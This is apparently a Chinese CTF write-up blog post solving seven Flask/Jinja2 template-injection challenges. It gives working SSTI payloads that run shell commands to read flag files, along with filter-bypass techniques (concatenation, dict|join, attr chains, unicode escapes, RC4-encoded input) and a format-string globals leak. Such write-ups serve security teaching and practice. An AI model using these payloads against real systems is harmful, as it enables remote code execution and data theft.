当前位置: 首页 > news >正文

【Web】Flask|Jinja2 SSTI

目录

①[NISACTF 2022]is secret

②[HNCTF 2022 WEEK2]ez_SSTI

③[GDOUCTF 2023] 

④[NCTF 2018]flask真香

⑤[安洵杯 2020]Normal SSTI

⑥[HNCTF 2022 WEEK3]ssssti

⑦[MoeCTF 2021]地狱通讯


①[NISACTF 2022]is secret

dirsearch扫出/secret

 

明示get传一个secret 

?secret={{7*7}}直接报错告诉我们是flask

 点开看看

rc4加密?

密钥为HereIsTreasure

贴一段脚本先

import base64
from urllib import parsedef rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return cryptdef rc4_init_sbox(key):s_box = list(range(256))j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]return s_boxdef rc4_excrypt(plain, box):res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))cipher = "".join(res)return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)//请输入明文:
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
rc4加密后的url编码:.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

最终payload:

/secret?secret=.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

②[HNCTF 2022 WEEK2]ez_SSTI

明示SSTI

测出注入点

 

上武器库

直接秒了还行

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

 

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac f*').read()")}}

 

③[GDOUCTF 2023]<ez_ze> 

看到输入框先试试SSTI()

经过测试 发现过滤了 _ {{}} . [] '' os popen getitem \

{%!%}报错发现是Jinja2

太麻烦了直接上Fenjing先梭

(梭门!!!)

或者字符串拼接

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a,item=b)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% print((x|attr(geti))('open')('/flag')|attr('read')()) %}

再极端一点过滤引号

{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

④[NCTF 2018]flask真香

发现注入点

fuzz测试出以下字符被过滤,拼接即可

原payload:

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

修改后:

/{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

/{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('tac /Th1s_is__F1114g').read()")}}

⑤[安洵杯 2020]Normal SSTI

先试{%!%}直接报错Jinja2

乐,Fenjing启动

 然而并不行,看来过滤挺多的

但经过尝试没有过滤""

上大招

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}

 unicode编码脚本

class_name = "__globals__"unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])print(unicode_class_name)

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("read")())%} 

⑥[HNCTF 2022 WEEK3]ssssti

找到注入点

fuzz测出黑名单

 对照武器库直接秒了

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=tac /flag

⑦[MoeCTF 2021]地狱通讯

开屏直接放了源码

首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。

我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。

payload:

?f1ag=&exp={0.__class__.__init__.__globals__} 

相关文章:

【Web】Flask|Jinja2 SSTI

目录 ①[NISACTF 2022]is secret ②[HNCTF 2022 WEEK2]ez_SSTI ③[GDOUCTF 2023] ④[NCTF 2018]flask真香 ⑤[安洵杯 2020]Normal SSTI ⑥[HNCTF 2022 WEEK3]ssssti ⑦[MoeCTF 2021]地狱通讯 ①[NISACTF 2022]is secret dirsearch扫出/secret 明示get传一个secret ?…...

SPDK NVMe-oF target多路功能介绍

基本概念 SPDK NVMe-oF target multi-path是基于NVMe协议的multi-path IO和namespace sharing功能。 NVMe multi-path IO指的是两个或多个完全独立的PCI Express路径存在于一个主机和一个命名空间。 而namespace 共享是两个或多个主机使用不同的NVMe控制器访问一个shared na…...

ADAudit Plus:助力企业安全的权威选择

在当今数字化的时代&#xff0c;信息安全已经成为企业发展的头等大事。随着网络攻击和数据泄露的频繁发生&#xff0c;企业需要一种全面的解决方案来保护其关键业务数据和敏感信息。ADAudit Plus作为一款强大的安全审计软件&#xff0c;为企业提供了完整的安全解决方案&#xf…...

sqli-labs关卡18(基于http头部报错盲注)通关思路

文章目录 前言一、靶场通关需要了解的知识点1、什么是http请求头2、为什么http头部可以进行注入 二、靶场第十八关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识&#xff0c;禁止用于做…...

uni-app顶部导航栏背景色如何设置,微信小程序返回键设置

百度经验 https://jingyan.baidu.com/article/67508eb48c5c37dcca1ce499.html 这样设置微信小程序没有返回键 {"path": "pages/index/index","style": {"navigationBarTitleText": "首页","app-plus": {"ti…...

基于多种设计模式重构代码(工厂、模板、策略)

基于多种设计模式重构代码 现状 系统目前支持三种业务流程&#xff0c;业务A&#xff0c; 业务B&#xff0c;业务C&#xff0c;每个流程有相同的业务逻辑&#xff0c;也包含很多的特性化业务。由于之前业务流程的开发是快速迭代的&#xff0c;而且迭代了很多次&#xff0c;开发…...

boomYouth

上一周实在是过得太颓废了&#xff0c;我感觉还是要把自己的规划做好一下&#xff1a; 周计划 这周截至周四&#xff0c;我可以用vue简单的画完登陆注册的界面并且弄一点预处理&#xff1a; 周一 的话可以把这些都学一下&#xff1a; 父传子&#xff0c;子传父&#xff1a…...

关于这个“这是B站目前讲的最好的【Transformer实战】教程!“视频的目前可以运行的源代码GPU版本

课程链接如下&#xff1a; 2.1认识Transformer架构-part1_哔哩哔哩_bilibili 因为网上可以找到源代码&#xff0c;但是呢&#xff0c;代码似乎有点小错误&#xff0c;我自己改正后&#xff0c;放到了GPU上运行&#xff0c; 代码如下&#xff1a; # 来自https://www.bilibil…...

STM32定时器输入捕获测量高电平时间

STM32定时器输入捕获测量高电平时间 输入捕获测量高电平时间CuebMX配置代码部分 本篇内容要求读者对STM32通用定时器有一点理解&#xff0c;如有不解&#xff0c;请看 夜深人静学32系列15——通用定时器 输入捕获 输入捕获是STM32通用定时器的一种功能&#xff0c;可以捕获特定…...

开源WIFI继电器之硬件电路

一、原理图 源文件 二、原理图说明 1、器件说明 U4&#xff1a;ESP8285模块 U6&#xff1a;触发器 U3&#xff1a;继电器 2、继电器状态检测说明 检测继电器线圈是否通电来判断继电器是否导通&#xff0c;当Q1不导通时&#xff0c;Q1集电极的电压为3.3V&#xff0c;经…...

远程执行ssh脚本

sshpass -p 123456 ssh root10.1.10.18 "/root/start.sh"sshpass: 这是一个工具&#xff0c;用于提供密码给 ssh 命令&#xff0c;以便无需手动输入密码就能通过 SSH 连接到远程服务器。 -p ‘123456’: 这是 sshpass 命令的选项&#xff0c;指定了连接时使用的密码…...

excel导入 Easy Excel

依旧是框架感觉有东西&#xff0c;但是确实是模拟不出来&#xff0c;各种零零散散的件太多了 controller层 ApiOperation(value "导入Excel", notes "导入Excel", httpMethod "POST", response ExcelResponseDTO.class)ApiImplicitParams({…...

html实现图片裁剪处理(附源码)

文章目录 1.设计来源1.1 主界面1.2 裁剪界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/134455169 html实现图片裁剪处理(附源码)&#xff0c;支持图片放大缩小&#…...

前端语言报错

1. 语法错误&#xff08;Syntax Errors&#xff09; 这是由于代码不符合语法规则而引起的错误&#xff0c;通常在代码编译阶段发生。示例&#xff1a; javascriptCopy code if (x 10 { // 缺少了右括号 // 代码逻辑 } 2. 类型错误&#xff08;Type Errors&#xff09; 这…...

详细讲解什么是观察者模式

观察者模式&#xff08;Observer Pattern&#xff09;是一种行为设计模式&#xff0c;它定义了一种一对多的依赖关系&#xff0c;让多个观察者对象同时监听某一个主题对象&#xff0c;当主题对象状态发生变化时&#xff0c;所有依赖于它的观察者都会得到通知并自动更新。 该模…...

镭速,克服UDP传输缺点的百倍提速传输软件工具

在网络传输中&#xff0c;我们经常会面临这样的困难&#xff1a;文件太大&#xff0c;传输速度太慢&#xff0c;浪费时间和流量&#xff1b;文件太小&#xff0c;传输速度太快&#xff0c;容易出现丢包和乱序&#xff0c;损害数据的完整性和正确性。这些困难的根本在于传输层协…...

Semi-Supervised Multi-Modal Learning with Balanced Spectral Decomposition

Y是所有模态的表征矩阵&#xff0c; ∑ i 1 d h ( λ i ) \sum_{i1}^dh(\lambda_i) ∑i1d​h(λi​) is the proposed eigenvalue-based objective function,the final similarity matrix W for the multimodal data as a block matrix 辅助信息 作者未提供代码...

3296:【例50.2】 计算书费《信息学奥赛一本通编程启蒙(C++版)》

3296&#xff1a;【例50.2】 计算书费《信息学奥赛一本通编程启蒙&#xff08;C版&#xff09;》 【题目描述】 下面是一个图书的单价表&#xff1a; 1、计算概论 28.9 元/本 2、数据结构与算法 32.7 元/本 3、数字逻辑 45.6 元/本 4、C程序设计教程 78 元/本 5、人工智能…...

统一身份认证平台之SSO建设

前言 上篇说道Passwordless无密码技术&#xff0c;也提到了数字时代密码管理的难度&#xff0c;其实在日常的生活中&#xff0c;很多用户也会因为忘记某些网站的登录密码而烦恼。为了方便记忆&#xff0c;很多人都在不同的站点使用相同的用户名和密码&#xff0c;虽然也可以减少…...

【开题报告】基于SpringBoot的膳食营养健康网站的设计与实现

1.选题背景与意义 基于SpringBoot的膳食营养健康网站的设计与实现是一个具有重要意义的选题。背景和意义主要包括以下几点&#xff1a; &#xff08;1&#xff09;社会健康意识的提升&#xff1a;随着人们健康意识的提高&#xff0c;越来越多的人开始关注自己的饮食营养问题。…...

ComfyUI-Impact-Pack V8完整实战指南:解锁AI图像增强的5大核心功能

ComfyUI-Impact-Pack V8完整实战指南&#xff1a;解锁AI图像增强的5大核心功能 【免费下载链接】ComfyUI-Impact-Pack Custom nodes pack for ComfyUI This custom node helps to conveniently enhance images through Detector, Detailer, Upscaler, Pipe, and more. 项目地…...

终极字体压缩指南:如何用Fontmin让网页字体加载快3倍

终极字体压缩指南&#xff1a;如何用Fontmin让网页字体加载快3倍 【免费下载链接】fontmin Minify font seamlessly 项目地址: https://gitcode.com/gh_mirrors/fo/fontmin Fontmin是一款基于纯JavaScript开发的字体压缩工具&#xff0c;能够将庞大的字体文件压缩成仅包…...

Tiger框架深度剖析:从依赖注入到组件管理的完整指南

Tiger框架深度剖析&#xff1a;从依赖注入到组件管理的完整指南 【免费下载链接】tiger 项目地址: https://gitcode.com/gh_mirrors/ti/tiger Tiger框架是一个基于Java的依赖注入框架&#xff0c;专为Android和Java应用设计&#xff0c;提供了一套完整的组件管理解决方…...

React Native Deck Swiper事件处理完全指南:从基础回调到复杂交互

React Native Deck Swiper事件处理完全指南&#xff1a;从基础回调到复杂交互 【免费下载链接】react-native-deck-swiper tinder like react-native deck swiper 项目地址: https://gitcode.com/gh_mirrors/re/react-native-deck-swiper React Native Deck Swiper是一…...

Burp Suite安装避坑指南:Java环境、代理配置与HTTPS解密全解析

1. 为什么Burp Suite的安装&#xff0c;比你想象中更值得花20分钟认真对待 很多人点开“Burp Suite安装教程”&#xff0c;心里想的是&#xff1a;“不就是下载个JAR包&#xff0c;双击运行吗&#xff1f;5分钟搞定。”我试过——在三台不同配置的Windows机器上&#xff0c;用…...

拒绝盲从:从“上岸村”公考笔试机构推荐谈个性化备考路径

2026 年公考竞争持续升温&#xff0c;国考报名人数再创新高&#xff0c;考生群体日趋多元&#xff0c;需求正从 “有没有课上” 转向 “课程适配性与教学实效性”。行业正告别粗放式扩张&#xff0c;精细化深耕、价值化回归、场景化适配成为新的发展主线。在此背景下&#xff0…...

全球首创 XR+AGV 融合技术,超元力 XR 黑暗乘骑无轨AGV开启星际探险新纪元

传统黑暗乘骑项目长期受困于"被动观影"模式&#xff1a;游客坐在固定轨道车上观看预设影片&#xff0c;缺乏互动性&#xff0c;复购率低。广东超元力文化科技有限公司推出的全球首创 XR 黑暗乘骑无轨 AGV 产品&#xff0c;以 XRAGV 融合技术为核心&#xff0c;将被动…...

2026 SSH工具推荐:不装传统面板,还有什么更适合管理 Linux 服务器?

这几年很多人选 SSH 工具&#xff0c;已经不只是为了“远程登上服务器敲命令”。 真正常见的需求其实是&#xff1a;连上服务器之后&#xff0c;还要继续完成文件管理、服务部署、HTTPS 配置、站点检查&#xff0c;甚至多台 VPS 的统一管理。 也正因为这样&#xff0c;到了 202…...

别再死记硬背POC了!深入理解Struts2漏洞家族史与OGNL表达式攻防演进

从OGNL表达式到漏洞家族史&#xff1a;Struts2安全攻防演进全景剖析 在Java Web安全领域&#xff0c;Struts2框架的漏洞史堪称一部活教材。许多安全工程师能够熟练使用工具复现S2-045、S2-057等著名漏洞&#xff0c;却对漏洞背后的技术原理和演进逻辑一知半解。这种知其然而不知…...

Cortex-M7 WIC模块移除的影响与工程实践

1. Cortex-M7中移除WIC的影响解析在嵌入式系统设计中&#xff0c;Cortex-M7处理器的WIC&#xff08;Wakeup Interrupt Controller&#xff09;模块是一个值得深入探讨的组件。作为一位从事ARM架构开发多年的工程师&#xff0c;我经常遇到客户询问关于WIC配置的问题。这个看似简…...